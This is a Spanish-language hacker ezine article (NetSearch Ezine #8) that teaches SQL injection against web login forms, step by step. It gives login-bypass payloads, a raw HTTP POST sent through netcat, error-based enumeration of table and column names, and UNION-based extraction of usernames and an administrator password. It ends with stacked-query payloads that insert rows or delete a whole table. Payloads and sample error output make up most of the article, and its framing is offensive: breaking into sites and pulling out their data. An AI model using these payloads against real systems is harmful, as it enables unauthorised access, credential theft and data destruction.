=-[ 0x08 ]-==================================================================
=-[ NetSearch Ezine #8 ]-====================================================
=-[ SQL Injection ]-=========================================================
=-[ por Chapulino ]-=========================================================
Indice
1- Introduccion
2- Herramientas
3- SQL injection basico
4- SQL injection avanzado
5- Despedida
1-Introduccion
------------
Hola a todos. Antes de nada queria pedir disculpas a mis companeros porque
llevo bastante tiempo sin escribir un articulo, pero es que no he tenido
tiempo y, bueno, mas vale tarde que nunca.
En este texto tratare de explicar lo que son las inyecciones de SQL (o SQL
injection). Esta no es una tecnica nueva pero segun he visto por la red,
no esta muy documentada en castellano. De forma que intentare explicar un
poco de que trata y dar algunos ejemplos para que se comprenda.
2-Herramientas
------------
Realmente no es necesaria ninguna herramienta para la comprension del SQL
injection pero para su aplicacion necesitaremos, en principio, un sniffer
(a mi me gusta el NetworkActivSniffer) para analizar lo que se envia al
servidor HTTP y un programa para enviar los datos modificados (yo
personalmente lo hago por telnet pero si lo prefieres puedes usar el
netcat). Hay muchas formas de hacerlo y muchos programas muy buenos por la
red.
3-SQL injection (basico)
----------------------
Para los que aun andan perdidos ... se trata de 'abusar' de una sentencia
SQL. Por ejemplo, imaginar la tipica pagina que pide login y pass para
acceder a determinados sitios de la web ...
---------- ----------
login | | pass | |
---------- ----------
==========
|| Enviar ||
==========
Cuando pinchamos en el boton Enviar nos enviara a una pagina, normalmente
en PHP o ASP que hara algo similar a esto:
SELECT * FROM tUsuarios WHERE usuario = '" & request.form("login")
& "' AND contrasena = '" & request.form("pass") & "'"
Por lo que si ponemos como login CHAPU y como pass MIPASS intentara
realizar al siguiente consulta:
SELECT * FROM tUsuraios WHERE usuario='CHAPU' AND contrasena='MIPASS'
y, logicamente devolvera 0 rows porque no se encuentra el usuario en la
base de datos, tras lo cual se nos avisara de que el acceso es denegado.
De lo que se trata es de modificar esta sentencia SQL, pero como? pues
jugando un poco con los datos que vamos a enviar.
Si pusieramos como nombre de usuario CHA'PU nos daria un error en SQL
porque el SELECT se formaria de la siguiente forma:
SELECT * FROM tUsuraios WHERE usuario='CHA'PU' AND contrasena='MIPASS'
y el servidor de BD veria que PU' no es ninguna sentencia.
Pensando un poco, podriamos intentar enviar lo siguiente:
LOGIN: ' OR usuario LIKE %
PASS : ' OR contrasena LIKE %
con lo cual el SELECT quedaria:
SELECT * FROM tUsuraios WHERE usuario='' OR usuario LIKE %'
^^^^^^^^^^^^^^^^^^^
AND contrasena='' OR contrasena LIKE %'
^^^^^^^^^^^^^^^^^^^^^^
por lo que nos devolveria todos los campos de la tabla ... no nos los
mostraria en pantalla, pero el resultado de esa llamada seria un numero
mayor que 0 (el numero de valores encontrados), y si el ASP (o PHP)
hiciera lo siguiente (como ocurre normalmente):
SI 0 rows
error
SINO
acceso a la pagina privada
nos dejaria pasar sin necesidad de conocer un usuario valido.
Analizando un poco el ataque, podeis ver que he puesto <OR usuario LIKE %>
pero normalmente no conocemos el nombre de los campos, de forma que en
lugar de usuario podria llamarse de cualquier otra forma (login, usr, etc)
asi que vamos a modificar ligeramente la sentencia a enviar:
LOGIN: ' OR 'a'='a
PASS : ' OR 'a'='a
por lo que el SELECT quedaria:
SELECT * FROM tUsuraios WHERE usuario='' OR 'a'='a'
^^^^^^^^^^^
AND contrasena='' OR 'a'='a'
^^^^^^^^^^^
dandonos el mismo resultado que antes ya que la condicion 'a'='a' siempre
se va a cumplir.
Otra forma seria:
LOGIN: ' OR 'a'='a'--
PASS : x (ponemos cualquier cosa)
las -- significan comienzo de comentario, por lo que daria:
SELECT * FROM tUsuraios WHERE usuario='' OR 'a'='a'--
^^^^^^^^^^^^^^
y lo que vaya detras de -- no nos importaria puesto que se tomaria como si
fuera un comentario.
Y ahora os preguntareis, para que necesitamos las herramientas? pues
porque normalmente en el campo de formulario no os dejaran escribir mas de
X caracteres o estara restringido para que no se introduzcan caracteres
extranos.
Una posibilidad seria descargar la pagina y en local modificarla y
ejecutarla en vuestro ordenador (para ello debeis comprobar antes si no se
hacen comprobaciones del origen de datos al enviar los datos, algo que es
habitual para evitar los falseos de este tipo) y otra ver mediante el uso
de un sniffer lo que se envia al HTTP (el POST) asi como lo que nos manda
el servidor HTTP a nosotros. Y luego, mediante netcat o telnet mandarlos
modificados.
En caso de netcat seria algo asi:
netcat www.web.com 80 -o salidaDatos.txt <entradaDatos.txt
donde en el fichero entradaDatos.txt guardaremos la sentencia a enviar,
que podria ser algo asi:
POST /index.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
~~~~~~~: ~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
~~~~~~~~~~~~~~~: ~~~~~ ~~~~~~~
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: www.web.com
Content-Length: 46
Connection: Keep-Alive
Cache-Control: no-cache
login=' OR 'a'='a&pass=' OR 'a'='a&modo=Entrar
(firajos que en Content-Length pongo el numero de caracteres a enviar en
la linea de abajo)
4-SQL injection (avanzado)
------------------------
Para cuando las tecnicas de SQL injection basico no funcionan, o si lo que
queremos es estudiar la base de datos y/o sacar algunos datos de ella
podemos usar otras tecnicas mas avanzadas ... si os habeis dado cuenta,
con lo explicado antes tan solo 'saltaremos' la seguridad de la pagina
pero no obtendremos ningun dato de las tablas.
Para sacar informacion de las tablas lo que haremos sera provocar errores
en las consultas. Si por ejemplo enviamos un SELECT con un HAVING mal
confeccionado (en este caso sin el GROUP BY correcpondiente) podemos sacar
informacion de los errores que nos devuelve la BD:
LOGIN: ' HAVING 1=1--
PASS : x
al usar incorrectamente la orden HAVING nos devolveria un error similar a
este:
La columna 'clientes.id' de la lista de seleccion no es valida,
porque no esta contenida en una funcion de agregado y no hay clausula
GROUP BY
bueno :) ... parece que la tabla donde estan almacenados los usuarios
se llama <clientes> y que el primer campo es <id> ... vamos a sacar mas
cosillas ...
LOGIN: ' GROUP BY clientes.id HAVING 1=1--
PASS : x
y nos da como resultado algo asi:
La columna 'clientes.nombre' de la lista de seleccion no es valida,
porque no esta contenida en una funcion de agregado ni en la clausula
GROUP BY
ahora ya sabemos otro campo, supuestamente donde se almacena el nombre de
los usuarios. Prosigamos hasta sacar el resto de campos:
LOGIN: ' GROUP BY clientes.id , clientes.nombre HAVING 1=1--
PASS : x
y obtendriamos:
La columna 'clientes.clave' de la lista de seleccion no es valida,
porque no esta contenida en una funcion de agregado ni en la clausula
GROUP BY
con lo que ya tenemos otro nuevo campo, donde se almacenarian los pass de
usuarios. Ahora vamos a probar de nuevo hasta que no nos de error y poder
sacar asi la tabla completa:
LOGIN: ' GROUP BY clientes.id , clientes.nombre, clientes.clave
HAVING 1=1--
PASS : x
en este caso nos da como resultado 0 rows, logicamente porque no encuentra
ningun dato con esa busqueda, pero que nos sirve para averiguar que la
orden enviada esta bien confeccionada y que, por lo tanto, no quedan mas
campos en esa tabla.
Ahora vamos a proceder a averiguar que tipo de campos son. Para ello
intentaremos hacer una suma de los datos de la tabla. Com o suponemos que
el campo <id> es entero, probamos con el resto:
LOGIN: ' UNION SELECT SUM(nombre) FROM clientes--
PASS : x
lo que nos daria el error:
La operacion sum or average aggregate no puede usar el tipo de datos
nvarchar como argumento
que significa que el campo <nombre> es un char. Probamos ahora con el otro
campo, el de la clave:
LOGIN: ' UNION SELECT SUM(clave) FROM clientes--
PASS : x
si obtenemos el mismo resultado es que tambien ese campo sera un char,
logicamente:
La operacion sum or average aggregate no puede usar el tipo de datos
nvarchar como argumento
si por el contrario hubieramos obtenido algo asi:
Todas las consultas de una instruccion SQL que contenga un operador
UNION deben tener el mismo numero de expresiones en sus listas de
destino
podriamos decir que se trata de un campo con valor numerico.
Y ahora que estamos entrando en calor, vamos a ver como podemos sacar lo
que mas nos interesa ... los datos de los campos :)
Si enviamos algo asi:
LOGIN: ' UNION SELECT MIN(nombre),1,1 FROM clientes WHERE nombre>'a'--
PASS : x
le estaremos pidiendo a la BD que convierta a entero el siguiente valor
que encuentre en la tabla <nombre> empezando la busqueda por 'a'. Esto
podria devolvernos algo asi:
Error de sintaxis al convertir el valor nvarchar 'admin' para una
columna de tipo de datos int.
con lo que ya obtenemos un usuario ... admin
Si ahora probamos a sustituir la 'a' por 'admin' obtendremos el siguiente
usuario de la tabla:
LOGIN: ' UNION SELECT MIN(nombre),1,1 FROM clientes WHERE
nombre>'admin'--
PASS : x
de forma que podemos obtener, poco a poco, todos los datos de la tabla.
Pero, que ocurre si probamos con el campo <clave> en lugar de con el de
<nombre>?
LOGIN: ' UNION SELECT MIN(clave),1,1 FROM clientes WHERE clave>'a'--
PASS : x
Error de sintaxis al convertir el valor nvarchar 'b2E4rT65w' para una
columna de tipo de datos int.
pues que obtenemos la pass del administrador :)
Otra cosa que podriamos probar es a anadir datos a la tabla:
LOGIN: '; INSERT INTO clientes VALUES (1234, 'chapulino', 'cool')--
PASS : x
o algo peor ... borrar datos:
LOGIN: '; DELETE FROM clientes WHERE login LIKE '%'--
PASS : x
La verdad es que se podrian hacer muchas cosas con esto. Todo es echarle
imaginacion ... y estudiar bien SQL ;)
5- Despedida
---------
Pues eso es todo por hoy. Espero que os haya gustado este articulo y que
hayais aprendido cosas nuevas, que es de lo que se trata.
Para lo que tengan dudas o quieran consultarme algo, en la direccion de
siempre: chapulino@netsearch-ezine.com
Chapulino
0x00
![[logo]](http://www.yoire.com/downloads/cache/s/1ff0d59207cb4e8898ec63621a11b545.jpg)